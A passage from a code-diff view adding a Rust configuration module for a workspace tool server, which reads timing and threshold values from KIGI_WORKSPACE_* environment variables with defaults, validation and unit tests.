let candidate = serde_json::json!({"a": 1});
|
||||
assert_eq!(
|
||||
classify(&stored, Some(&candidate)),
|
||||
BindFingerprintTransition::FromDefault
|
||||
);
|
||||
assert_eq!(
|
||||
classify(&stored, None),
|
||||
BindFingerprintTransition::Unchanged
|
||||
);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,628 @@
|
||||
//! Runtime-tunable timing/threshold config for the workspace tool server.
|
||||
//!
|
||||
//! All values are read once at startup from `KIGI_WORKSPACE_*` environment
|
||||
//! variables via [`StatusConfig::from_env`]. Unset or unparseable variables
|
||||
//! fall back to the documented defaults (with a `warn!` on parse failure), so
|
||||
//! construction never fails.
|
||||
|
||||
use std::str::FromStr;
|
||||
use std::time::Duration;
|
||||
|
||||
// ── Default timing/threshold values ──────────────────────────────────────
|
||||
// Single source of truth for the `StatusConfig::default()` values and the
|
||||
// documented fallbacks for each `KIGI_WORKSPACE_*` env var.
|
||||
|
||||
/// Default interval between status/heartbeat emissions.
|
||||
const DEFAULT_HEARTBEAT_SECS: u64 = 30;
|
||||
/// Default transport keepalive interval. Should exceed `heartbeat`.
|
||||
const DEFAULT_KEEPALIVE_SECS: u64 = 60;
|
||||
/// Default WebSocket keepalive ping cadence for the server SDK connection.
|
||||
const DEFAULT_WS_PING_SECS: u64 = 30;
|
||||
/// Default number of consecutive hub reconnect failures before warning.
|
||||
const DEFAULT_HUB_WARN_THRESHOLD: u32 = 5;
|
||||
/// Default base delay (ms) for exponential backoff on failed hub sends.
|
||||
const DEFAULT_HUB_BACKOFF_BASE_MS: u64 = 100;
|
||||
/// Default idle window (s) after which an inactive session is pruned. Kept
|
||||
/// aligned with the sandbox service's idle-hibernate grace.
|
||||
const DEFAULT_SESSION_IDLE_PRUNE_SECS: u64 = 1800;
|
||||
/// Default max time (s) to wait for in-flight work to drain on shutdown.
|
||||
const DEFAULT_DRAIN_TIMEOUT_SECS: u64 = 30;
|
||||
/// Default per-call timeout (s) for agent gRPC RPCs.
|
||||
const DEFAULT_AGENT_RPC_TIMEOUT_SECS: u64 = 30;
|
||||
/// Default timeout (s) for establishing an agent connection.
|
||||
const DEFAULT_AGENT_CONNECT_TIMEOUT_SECS: u64 = 5;
|
||||
/// Default preview-activity withhold window. Sourced from the tracker's
|
||||
/// `PREVIEW_ACTIVITY_WINDOW_MS` so the two can't drift.
|
||||
const DEFAULT_PREVIEW_ACTIVITY_WINDOW_MS: u64 = crate::activity::PREVIEW_ACTIVITY_WINDOW_MS;
|
||||
/// Default preview-activity scrape cadence. Must stay below the withhold window.
|
||||
const DEFAULT_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS: u64 = 10_000;
|
||||
/// Smallest window that still leaves room for a strictly-smaller scrape; only a
|
||||
/// broken config reaches it (the normal window is 60s).
|
||||
const MIN_PREVIEW_ACTIVITY_WINDOW_MS: u64 = 2;
|
||||
/// Scrape-interval floor; `0` would busy-loop the scraper.
|
||||
const MIN_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS: u64 = 1;
|
||||
|
||||
/// Tunable timing/threshold constants for the workspace tool server.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct StatusConfig {
|
||||
/// Interval between status/heartbeat emissions.
|
||||
pub heartbeat: Duration,
|
||||
/// Transport keepalive interval. Should exceed `heartbeat`.
|
||||
pub keepalive: Duration,
|
||||
/// WebSocket keepalive ping cadence for the server SDK connection.
|
||||
pub ws_ping: Duration,
|
||||
/// Reconnect backoff schedule for the server SDK connection. `None` leaves
|
||||
/// the SDK's built-in default exponential schedule in place.
|
||||
pub ws_reconnect_backoff: Option<Vec<Duration>>,
|
||||
/// Number of consecutive server reconnect failures before warning.
|
||||
pub hub_warn_threshold: u32,
|
||||
/// Base delay for exponential backoff on failed server event-notification sends.
|
||||
pub hub_backoff_base: Duration,
|
||||
/// Idle duration after which an inactive session is pruned.
|
||||
pub session_idle_prune: Duration,
|
||||
/// Legacy single-phase drain timeout (`KIGI_WORKSPACE_DRAIN_TIMEOUT_SECS`),
|
||||
/// retained for compatibility; the SIGTERM and server-evict paths now use the
|
||||
/// two-phase drain bounded by `KIGI_WORKSPACE_TERMINATION_GRACE_MS`.
|
||||
pub drain_timeout: Duration,
|
||||
/// Per-call timeout for agent RPCs.
|
||||
pub agent_rpc_timeout: Duration,
|
||||
/// Timeout for establishing an agent connection.
|
||||
pub agent_connect_timeout: Duration,
|
||||
/// Opt-in foreground-only idle (`KIGI_WORKSPACE_IDLE_IGNORE_BACKGROUND_TASKS`);
|
||||
/// requires the literal `"true"` — other spellings fall back to this default.
|
||||
pub idle_ignores_background: bool,
|
||||
/// Recent preview-proxy traffic withholds idle for this window
|
||||
/// (`KIGI_WORKSPACE_PREVIEW_ACTIVITY_WINDOW_MS`).
|
||||
pub preview_activity_window: Duration,
|
||||
/// Cadence at which the preview-activity scraper polls the proxy
|
||||
/// (`KIGI_WORKSPACE_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS`); kept strictly
|
||||
/// below `preview_activity_window` by [`validate`](Self::validate).
|
||||
pub preview_activity_scrape_interval: Duration,
|
||||
/// True when this container booted via the sandbox restore path, which
|
||||
/// injects `KIGI_SESSION_RESTORED=true`; a first boot never does.
|
||||
pub session_restored: bool,
|
||||
/// True when restore injects `KIGI_REVIVE_SCRIPT_CONFIGURED=true` (launchable
|
||||
/// revive configured); unset on first boot and non-launchable restores.
|
||||
pub revive_script_configured: bool,
|
||||
}
|
||||
|
||||
impl Default for StatusConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
heartbeat: Duration::from_secs(DEFAULT_HEARTBEAT_SECS),
|
||||
keepalive: Duration::from_secs(DEFAULT_KEEPALIVE_SECS),
|
||||
ws_ping: Duration::from_secs(DEFAULT_WS_PING_SECS),
|
||||
ws_reconnect_backoff: None,
|
||||
hub_warn_threshold: DEFAULT_HUB_WARN_THRESHOLD,
|
||||
hub_backoff_base: Duration::from_millis(DEFAULT_HUB_BACKOFF_BASE_MS),
|
||||
session_idle_prune: Duration::from_secs(DEFAULT_SESSION_IDLE_PRUNE_SECS),
|
||||
drain_timeout: Duration::from_secs(DEFAULT_DRAIN_TIMEOUT_SECS),
|
||||
agent_rpc_timeout: Duration::from_secs(DEFAULT_AGENT_RPC_TIMEOUT_SECS),
|
||||
agent_connect_timeout: Duration::from_secs(DEFAULT_AGENT_CONNECT_TIMEOUT_SECS),
|
||||
idle_ignores_background: false,
|
||||
preview_activity_window: Duration::from_millis(DEFAULT_PREVIEW_ACTIVITY_WINDOW_MS),
|
||||
preview_activity_scrape_interval: Duration::from_millis(
|
||||
DEFAULT_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS,
|
||||
),
|
||||
session_restored: false,
|
||||
revive_script_configured: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl StatusConfig {
|
||||
/// Populate from `KIGI_WORKSPACE_*`. Unset or unparseable vars fall
|
||||
/// back to the default with a `warn!`. Never fails.
|
||||
pub fn from_env() -> Self {
|
||||
let defaults = Self::default();
|
||||
let (agent_rpc, agent_connect) = Self::agent_timeouts_from_env();
|
||||
let mut cfg = Self {
|
||||
heartbeat: secs_or("KIGI_WORKSPACE_HEARTBEAT_SECS", defaults.heartbeat),
|
||||
keepalive: secs_or("KIGI_WORKSPACE_KEEPALIVE_SECS", defaults.keepalive),
|
||||
ws_ping: secs_or("KIGI_WORKSPACE_WS_PING_SECS", defaults.ws_ping),
|
||||
ws_reconnect_backoff: backoff_schedule_from_env(
|
||||
"KIGI_WORKSPACE_WS_RECONNECT_BACKOFF_MS",
|
||||
),
|
||||
hub_warn_threshold: parse_or(
|
||||
"KIGI_WORKSPACE_HUB_WARN_THRESHOLD",
|
||||
defaults.hub_warn_threshold,
|
||||
),
|
||||
hub_backoff_base: ms_or(
|
||||
"KIGI_WORKSPACE_HUB_BACKOFF_BASE_MS",
|
||||
defaults.hub_backoff_base,
|
||||
),
|
||||
session_idle_prune: secs_or(
|
||||
"KIGI_WORKSPACE_SESSION_IDLE_PRUNE_SECS",
|
||||
defaults.session_idle_prune,
|
||||
),
|
||||
drain_timeout: secs_or("KIGI_WORKSPACE_DRAIN_TIMEOUT_SECS", defaults.drain_timeout),
|
||||
agent_rpc_timeout: agent_rpc,
|
||||
agent_connect_timeout: agent_connect,
|
||||
idle_ignores_background: parse_or(
|
||||
"KIGI_WORKSPACE_IDLE_IGNORE_BACKGROUND_TASKS",
|
||||
defaults.idle_ignores_background,
|
||||
),
|
||||
preview_activity_window: ms_or(
|
||||
"KIGI_WORKSPACE_PREVIEW_ACTIVITY_WINDOW_MS",
|
||||
defaults.preview_activity_window,
|
||||
),
|
||||
preview_activity_scrape_interval: ms_or(
|
||||
"KIGI_WORKSPACE_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS",
|
||||
defaults.preview_activity_scrape_interval,
|
||||
),
|
||||
session_restored: std::env::var("KIGI_SESSION_RESTORED").as_deref() == Ok("true"),
|
||||
revive_script_configured: std::env::var("KIGI_REVIVE_SCRIPT_CONFIGURED").as_deref()
|
||||
== Ok("true"),
|
||||
};
|
||||
cfg.validate();
|
||||
cfg
|
||||
}
|
||||
|
||||
/// Read only the agent gRPC `(request, connect)` timeouts from the
|
||||
/// environment, without parsing or validating the rest of the config.
|
||||
///
|
||||
/// Used by the btrfs delegate's env-based construction path, which has no
|
||||
/// `StatusConfig` in scope; reading just these two vars avoids re-running
|
||||
/// [`validate`](Self::validate) (and its possible duplicate `warn!`).
|
||||
pub fn agent_timeouts_from_env() -> (Duration, Duration) {
|
||||
let defaults = Self::default();
|
||||
const RPC_VAR: &str = "KIGI_WORKSPACE_AGENT_RPC_TIMEOUT_SECS";
|
||||
const CONNECT_VAR: &str = "KIGI_WORKSPACE_AGENT_CONNECT_TIMEOUT_SECS";
|
||||
(
|
||||
nonzero_secs_or(
|
||||
RPC_VAR,
|
||||
parse_or(RPC_VAR, defaults.agent_rpc_timeout.as_secs()),
|
||||
defaults.agent_rpc_timeout,
|
||||
),
|
||||
nonzero_secs_or(
|
||||
CONNECT_VAR,
|
||||
parse_or(CONNECT_VAR, defaults.agent_connect_timeout.as_secs()),
|
||||
defaults.agent_connect_timeout,
|
||||
),
|
||||
)
|
||||
}
|
||||
|
||||
/// Warn on (and, where load-bearing, repair) inconsistent values.
|
||||
///
|
||||
/// `keepalive` can't be validated against the server's idle window (unknown
|
||||
/// here), so it only warns. The preview scraper, however, must run strictly
|
||||
/// more often than the withhold window (else the withhold lapses between
|
||||
/// scrapes) and never at a zero interval (which would busy-loop it), so any
|
||||
/// misconfiguration is repaired into `1ms <= scrape < window`.
|
||||
fn validate(&mut self) {
|
||||
if self.keepalive <= self.heartbeat {
|
||||
tracing::warn!(
|
||||
keepalive = ?self.keepalive,
|
||||
heartbeat = ?self.heartbeat,
|
||||
"KIGI_WORKSPACE keepalive <= heartbeat; transport may time out between heartbeats"
|
||||
);
|
||||
}
|
||||
let min_scrape = Duration::from_millis(MIN_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS);
|
||||
let window = self
|
||||
.preview_activity_window
|
||||
.max(Duration::from_millis(MIN_PREVIEW_ACTIVITY_WINDOW_MS));
|
||||
let scrape = self
|
||||
.preview_activity_scrape_interval
|
||||
.clamp(min_scrape, window - min_scrape);
|
||||
if window != self.preview_activity_window || scrape != self.preview_activity_scrape_interval
|
||||
{
|
||||
tracing::warn!(
|
||||
scrape_interval = ?self.preview_activity_scrape_interval,
|
||||
window = ?self.preview_activity_window,
|
||||
clamped_scrape = ?scrape,
|
||||
clamped_window = ?window,
|
||||
"KIGI_WORKSPACE preview scrape interval/window out of range; clamped to 1ms <= scrape < window"
|
||||
);
|
||||
self.preview_activity_window = window;
|
||||
self.preview_activity_scrape_interval = scrape;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Read `var` and parse it as `T`. Returns `default` when unset; warns and
|
||||
/// returns `default` when present but unparseable.
|
||||
fn parse_or<T: FromStr>(var: &str, default: T) -> T {
|
||||
match std::env::var(var) {
|
||||
Err(_) => default,
|
||||
Ok(raw) => match raw.parse::<T>() {
|
||||
Ok(value) => value,
|
||||
Err(_) => {
|
||||
tracing::warn!(var, value = %raw, "Unparseable KIGI_WORKSPACE value; using default");
|
||||
default
|
||||
}
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
/// Parse `var` as a `u64` number of seconds into a [`Duration`].
|
||||
fn secs_or(var: &str, default: Duration) -> Duration {
|
||||
Duration::from_secs(parse_or(var, default.as_secs()))
|
||||
}
|
||||
|
||||
/// Parse `var` as a `u64` number of milliseconds into a [`Duration`].
|
||||
fn ms_or(var: &str, default: Duration) -> Duration {
|
||||
Duration::from_millis(parse_or(var, default.as_millis() as u64))
|
||||
}
|
||||
|
||||
/// Convert a parsed seconds value into a [`Duration`], rejecting `0`. A zero
|
||||
/// gRPC timeout makes every RPC fail immediately, so a configured `0` warns
|
||||
/// and falls back to `default` instead of being applied verbatim.
|
||||
fn nonzero_secs_or(var: &str, secs: u64, default: Duration) -> Duration {
|
||||
if secs == 0 {
|
||||
tracing::warn!(
|
||||
var,
|
||||
default = ?default,
|
||||
"KIGI_WORKSPACE agent timeout of 0s is invalid; using default"
|
||||
);
|
||||
return default;
|
||||
}
|
||||
Duration::from_secs(secs)
|
||||
}
|
||||
|
||||
/// Parse `var` as a comma-separated list of `u64` milliseconds into a reconnect
|
||||
/// backoff schedule. Returns `None` (keep the SDK's built-in default schedule)
|
||||
/// when the var is unset or yields no values, and warns + returns `None` when
|
||||
/// any element fails to parse.
|
||||
fn backoff_schedule_from_env(var: &str) -> Option<Vec<Duration>> {
|
||||
let raw = std::env::var(var).ok()?;
|
||||
let mut schedule = Vec::new();
|
||||
for part in raw.split(',').map(str::trim).filter(|p| !p.is_empty()) {
|
||||
match part.parse::<u64>() {
|
||||
Ok(ms) => schedule.push(Duration::from_millis(ms)),
|
||||
Err(_) => {
|
||||
tracing::warn!(
|
||||
var,
|
||||
value = %raw,
|
||||
"Unparseable KIGI_WORKSPACE backoff schedule; using SDK default"
|
||||
);
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
(!schedule.is_empty()).then_some(schedule)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
// Crate-shared env lock: every test that mutates the process environment
|
||||
// holds it for its full duration. ONE lock for the whole crate because the
|
||||
// hazard is the global `environ` array under `unsafe set_var` (not the
|
||||
// variable's value), so even disjoint vars must serialize.
|
||||
use crate::ENV_TEST_LOCK as ENV_LOCK;
|
||||
|
||||
#[test]
|
||||
fn defaults_match_documented_values() {
|
||||
let cfg = StatusConfig::default();
|
||||
assert_eq!(cfg.heartbeat, Duration::from_secs(30));
|
||||
assert_eq!(cfg.keepalive, Duration::from_secs(60));
|
||||
assert_eq!(cfg.ws_ping, Duration::from_secs(30));
|
||||
assert_eq!(cfg.ws_reconnect_backoff, None);
|
||||
assert_eq!(cfg.hub_warn_threshold, 5);
|
||||
assert_eq!(cfg.hub_backoff_base, Duration::from_millis(100));
|
||||
assert_eq!(cfg.session_idle_prune, Duration::from_secs(1800));
|
||||
assert_eq!(cfg.drain_timeout, Duration::from_secs(30));
|
||||
assert_eq!(cfg.agent_rpc_timeout, Duration::from_secs(30));
|
||||
assert_eq!(cfg.agent_connect_timeout, Duration::from_secs(5));
|
||||
assert!(!cfg.idle_ignores_background);
|
||||
assert_eq!(cfg.preview_activity_window, Duration::from_secs(60));
|
||||
assert_eq!(
|
||||
cfg.preview_activity_scrape_interval,
|
||||
Duration::from_secs(10)
|
||||
);
|
||||
assert!(!cfg.session_restored);
|
||||
assert!(!cfg.revive_script_configured);
|
||||
}
|
||||
|
||||
/// `parse_or` returns the default when the variable is unset. Uses a
|
||||
/// uniquely-named var so it never collides with other tests' env writes.
|
||||
#[test]
|
||||
fn parse_or_unset_returns_default() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let var = "KIGI_WORKSPACE_TEST_PARSE_OR_UNSET";
|
||||
unsafe { std::env::remove_var(var) };
|
||||
assert_eq!(parse_or::<u32>(var, 5), 5);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_or_valid_parses() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let var = "KIGI_WORKSPACE_TEST_PARSE_OR_VALID";
|
||||
unsafe { std::env::set_var(var, "42") };
|
||||
assert_eq!(parse_or::<u32>(var, 5), 42);
|
||||
unsafe { std::env::remove_var(var) };
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_or_invalid_falls_back_without_panic() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let var = "KIGI_WORKSPACE_TEST_PARSE_OR_INVALID";
|
||||
unsafe { std::env::set_var(var, "not-a-number") };
|
||||
assert_eq!(parse_or::<u32>(var, 5), 5);
|
||||
unsafe { std::env::remove_var(var) };
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn secs_or_parses_into_duration() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let var = "KIGI_WORKSPACE_TEST_SECS_OR_VALID";
|
||||
unsafe { std::env::set_var(var, "120") };
|
||||
assert_eq!(
|
||||
secs_or(var, Duration::from_secs(30)),
|
||||
Duration::from_secs(120)
|
||||
);
|
||||
unsafe { std::env::remove_var(var) };
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn secs_or_unset_returns_default() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let var = "KIGI_WORKSPACE_TEST_SECS_OR_UNSET";
|
||||
unsafe { std::env::remove_var(var) };
|
||||
assert_eq!(
|
||||
secs_or(var, Duration::from_secs(30)),
|
||||
Duration::from_secs(30)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn secs_or_invalid_falls_back_without_panic() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let var = "KIGI_WORKSPACE_TEST_SECS_OR_INVALID";
|
||||
unsafe { std::env::set_var(var, "12.5") };
|
||||
assert_eq!(
|
||||
secs_or(var, Duration::from_secs(30)),
|
||||
Duration::from_secs(30)
|
||||
);
|
||||
unsafe { std::env::remove_var(var) };
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ms_or_parses_into_duration() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let var = "KIGI_WORKSPACE_TEST_MS_OR_VALID";
|
||||
unsafe { std::env::set_var(var, "250") };
|
||||
assert_eq!(
|
||||
ms_or(var, Duration::from_millis(100)),
|
||||
Duration::from_millis(250)
|
||||
);
|
||||
unsafe { std::env::remove_var(var) };
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ms_or_invalid_falls_back_without_panic() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let var = "KIGI_WORKSPACE_TEST_MS_OR_INVALID";
|
||||
unsafe { std::env::set_var(var, "abc") };
|
||||
assert_eq!(
|
||||
ms_or(var, Duration::from_millis(100)),
|
||||
Duration::from_millis(100)
|
||||
);
|
||||
unsafe { std::env::remove_var(var) };
|
||||
}
|
||||
|
||||
/// With none of the `KIGI_WORKSPACE_*` vars set, `from_env` reproduces
|
||||
/// `StatusConfig::default()` field-for-field.
|
||||
///
|
||||
/// This is the one test that touches the real (non-`_TEST_`-prefixed)
|
||||
/// var names: it `remove_var`s all of them before reading them. If a future
|
||||
/// test sets these shared names, run them serialized to avoid a race.
|
||||
#[test]
|
||||
fn from_env_clean_matches_default() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
for var in [
|
||||
"KIGI_WORKSPACE_HEARTBEAT_SECS",
|
||||
"KIGI_WORKSPACE_KEEPALIVE_SECS",
|
||||
"KIGI_WORKSPACE_WS_PING_SECS",
|
||||
"KIGI_WORKSPACE_WS_RECONNECT_BACKOFF_MS",
|
||||
"KIGI_WORKSPACE_HUB_WARN_THRESHOLD",
|
||||
"KIGI_WORKSPACE_HUB_BACKOFF_BASE_MS",
|
||||
"KIGI_WORKSPACE_SESSION_IDLE_PRUNE_SECS",
|
||||
"KIGI_WORKSPACE_DRAIN_TIMEOUT_SECS",
|
||||
"KIGI_WORKSPACE_AGENT_RPC_TIMEOUT_SECS",
|
||||
"KIGI_WORKSPACE_AGENT_CONNECT_TIMEOUT_SECS",
|
||||
"KIGI_WORKSPACE_IDLE_IGNORE_BACKGROUND_TASKS",
|
||||
"KIGI_WORKSPACE_PREVIEW_ACTIVITY_WINDOW_MS",
|
||||
"KIGI_WORKSPACE_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS",
|
||||
"KIGI_SESSION_RESTORED",
|
||||
"KIGI_REVIVE_SCRIPT_CONFIGURED",
|
||||
] {
|
||||
unsafe { std::env::remove_var(var) };
|
||||
}
|
||||
let cfg = StatusConfig::from_env();
|
||||
let default = StatusConfig::default();
|
||||
assert_eq!(cfg.heartbeat, default.heartbeat);
|
||||
assert_eq!(cfg.keepalive, default.keepalive);
|
||||
assert_eq!(cfg.ws_ping, default.ws_ping);
|
||||
assert_eq!(cfg.ws_reconnect_backoff, default.ws_reconnect_backoff);
|
||||
assert_eq!(cfg.hub_warn_threshold, default.hub_warn_threshold);
|
||||
assert_eq!(cfg.hub_backoff_base, default.hub_backoff_base);
|
||||
assert_eq!(cfg.session_idle_prune, default.session_idle_prune);
|
||||
assert_eq!(cfg.drain_timeout, default.drain_timeout);
|
||||
assert_eq!(cfg.agent_rpc_timeout, default.agent_rpc_timeout);
|
||||
assert_eq!(cfg.agent_connect_timeout, default.agent_connect_timeout);
|
||||
assert_eq!(cfg.idle_ignores_background, default.idle_ignores_background);
|
||||
assert_eq!(cfg.preview_activity_window, default.preview_activity_window);
|
||||
assert_eq!(
|
||||
cfg.preview_activity_scrape_interval,
|
||||
default.preview_activity_scrape_interval
|
||||
);
|
||||
assert_eq!(cfg.session_restored, default.session_restored);
|
||||
assert_eq!(
|
||||
cfg.revive_script_configured,
|
||||
default.revive_script_configured
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn from_env_reads_session_restored_true_only() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
unsafe { std::env::set_var("KIGI_SESSION_RESTORED", "true") };
|
||||
let restored = StatusConfig::from_env().session_restored;
|
||||
unsafe { std::env::set_var("KIGI_SESSION_RESTORED", "1") };
|
||||
let non_canonical = StatusConfig::from_env().session_restored;
|
||||
unsafe { std::env::remove_var("KIGI_SESSION_RESTORED") };
|
||||
assert!(restored);
|
||||
assert!(!non_canonical);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn from_env_reads_revive_script_configured_true_only() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
unsafe { std::env::set_var("KIGI_REVIVE_SCRIPT_CONFIGURED", "true") };
|
||||
let configured = StatusConfig::from_env().revive_script_configured;
|
||||
unsafe { std::env::set_var("KIGI_REVIVE_SCRIPT_CONFIGURED", "1") };
|
||||
let non_canonical = StatusConfig::from_env().revive_script_configured;
|
||||
unsafe { std::env::remove_var("KIGI_REVIVE_SCRIPT_CONFIGURED") };
|
||||
assert!(configured);
|
||||
assert!(!non_canonical);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn from_env_reads_idle_ignore_background_true() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
unsafe { std::env::set_var("KIGI_WORKSPACE_IDLE_IGNORE_BACKGROUND_TASKS", "true") };
|
||||
let cfg = StatusConfig::from_env();
|
||||
unsafe { std::env::remove_var("KIGI_WORKSPACE_IDLE_IGNORE_BACKGROUND_TASKS") };
|
||||
assert!(cfg.idle_ignores_background);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn from_env_reads_preview_activity_window() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
unsafe { std::env::set_var("KIGI_WORKSPACE_PREVIEW_ACTIVITY_WINDOW_MS", "120000") };
|
||||
let cfg = StatusConfig::from_env();
|
||||
unsafe { std::env::remove_var("KIGI_WORKSPACE_PREVIEW_ACTIVITY_WINDOW_MS") };
|
||||
assert_eq!(cfg.preview_activity_window, Duration::from_millis(120_000));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn from_env_reads_preview_activity_scrape_interval() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
unsafe { std::env::set_var("KIGI_WORKSPACE_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS", "5000") };
|
||||
let cfg = StatusConfig::from_env();
|
||||
unsafe { std::env::remove_var("KIGI_WORKSPACE_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS") };
|
||||
assert_eq!(
|
||||
cfg.preview_activity_scrape_interval,
|
||||
Duration::from_millis(5_000)
|
||||
);
|
||||
}
|
||||
|
||||
/// `validate` must not panic regardless of the relative ordering of
|
||||
/// `keepalive` and `heartbeat`.
|
||||
#[test]
|
||||
fn validate_does_not_panic_when_keepalive_le_heartbeat() {
|
||||
let mut cfg = StatusConfig {
|
||||
keepalive: Duration::from_secs(10),
|
||||
heartbeat: Duration::from_secs(30),
|
||||
..StatusConfig::default()
|
||||
};
|
||||
cfg.validate();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn validate_clamps_preview_scrape_into_valid_range() {
|
||||
for (window_ms, scrape_ms, exp_window_ms, exp_scrape_ms) in [
|
||||
(1_000u64, 4_000u64, 1_000u64, 999u64),
|
||||
(1_000, 1_000, 1_000, 999),
|
||||
(1_000, 200, 1_000, 200),
|
||||
(60_000, 0, 60_000, 1),
|
||||
(0, 0, 2, 1),
|
||||
(1, 5, 2, 1),
|
||||
] {
|
||||
let mut cfg = StatusConfig {
|
||||
preview_activity_window: Duration::from_millis(window_ms),
|
||||
preview_activity_scrape_interval: Duration::from_millis(scrape_ms),
|
||||
..StatusConfig::default()
|
||||
};
|
||||
cfg.validate();
|
||||
assert_eq!(
|
||||
cfg.preview_activity_window,
|
||||
Duration::from_millis(exp_window_ms)
|
||||
);
|
||||
assert_eq!(
|
||||
cfg.preview_activity_scrape_interval,
|
||||
Duration::from_millis(exp_scrape_ms)
|
||||
);
|
||||
assert!(cfg.preview_activity_scrape_interval >= Duration::from_millis(1));
|
||||
assert!(cfg.preview_activity_scrape_interval < cfg.preview_activity_window);
|
||||
}
|
||||
}
|
||||
|
||||
/// A configured agent timeout of `0` seconds is invalid (it would make
|
||||
/// every gRPC call fail immediately), so `nonzero_secs_or` falls back to
|
||||
/// the supplied default instead of returning `Duration::ZERO`.
|
||||
#[test]
|
||||
fn nonzero_secs_or_zero_falls_back_to_default() {
|
||||
assert_eq!(
|
||||
nonzero_secs_or(
|
||||
"KIGI_WORKSPACE_AGENT_RPC_TIMEOUT_SECS",
|
||||
0,
|
||||
Duration::from_secs(30)
|
||||
),
|
||||
Duration::from_secs(30)
|
||||
);
|
||||
assert_eq!(
|
||||
nonzero_secs_or(
|
||||
"KIGI_WORKSPACE_AGENT_CONNECT_TIMEOUT_SECS",
|
||||
0,
|
||||
Duration::from_secs(5)
|
||||
),
|
||||
Duration::from_secs(5)
|
||||
);
|
||||
}
|
||||
|
||||
/// A positive value is honored verbatim.
|
||||
#[test]
|
||||
fn nonzero_secs_or_positive_is_passed_through() {
|
||||
assert_eq!(
|
||||
nonzero_secs_or(
|
||||
"KIGI_WORKSPACE_AGENT_RPC_TIMEOUT_SECS",
|
||||
12,
|
||||
Duration::from_secs(30)
|
||||
),
|
||||
Duration::from_secs(12)
|
||||
);
|
||||
}
|
||||
|
||||
/// An unset backoff var leaves the schedule unconfigured (`None`), so the
|
||||
/// SDK keeps its built-in default.
|
||||
#[test]
|
||||
fn backoff_schedule_unset_returns_none() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let var = "KIGI_WORKSPACE_TEST_BACKOFF_UNSET";
|
||||
unsafe { std::env::remove_var(var) };
|
||||
assert_eq!(backoff_schedule_from_env(var), None);
|
||||
}
|
||||
|
||||
/// A valid comma-separated list parses into millisecond `Duration`s in
|
||||
/// order, tolerating surrounding whitespace.
|
||||
#[test]
|
||||
fn backoff_schedule_valid_list_parses_in_order() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let var = "KIGI_WORKSPACE_TEST_BACKOFF_VALID";
|
||||
unsafe { std::env::set_var(var, "100, 200,500,1000") };
|
||||
assert_eq!(
|
||||
backoff_schedule_from_env(var),
|
||||
Some(vec![
|
||||
Duration::from_millis(100),
|
||||
Duration::from_millis(200),
|
||||
Duration::from_millis(500),
|
||||
Duration::from_millis(1000),
|
||||
])
|
||||
);
|
||||
unsafe { std::env::remove_var(var) };
|
||||
}
|
||||
|
||||
/// A malformed element makes the whole schedule fall back to `None` (and
|
||||
/// warns) rather than silently dropping entries.
|
||||
#[test]
|
||||
fn backoff_schedule_malformed_returns_none() {
|
||||
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let var = "KIGI_WORKSPACE_TEST_BACKOFF_MALFORMED";
|
||||
unsafe { std::env::set_var(var, "100,not-a-number,500") };
|
||||
assert_eq!(backoff_schedule_from_env(var), None);
|
||||
unsafe { std::env::remove_var(var) };
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,32 @@
|
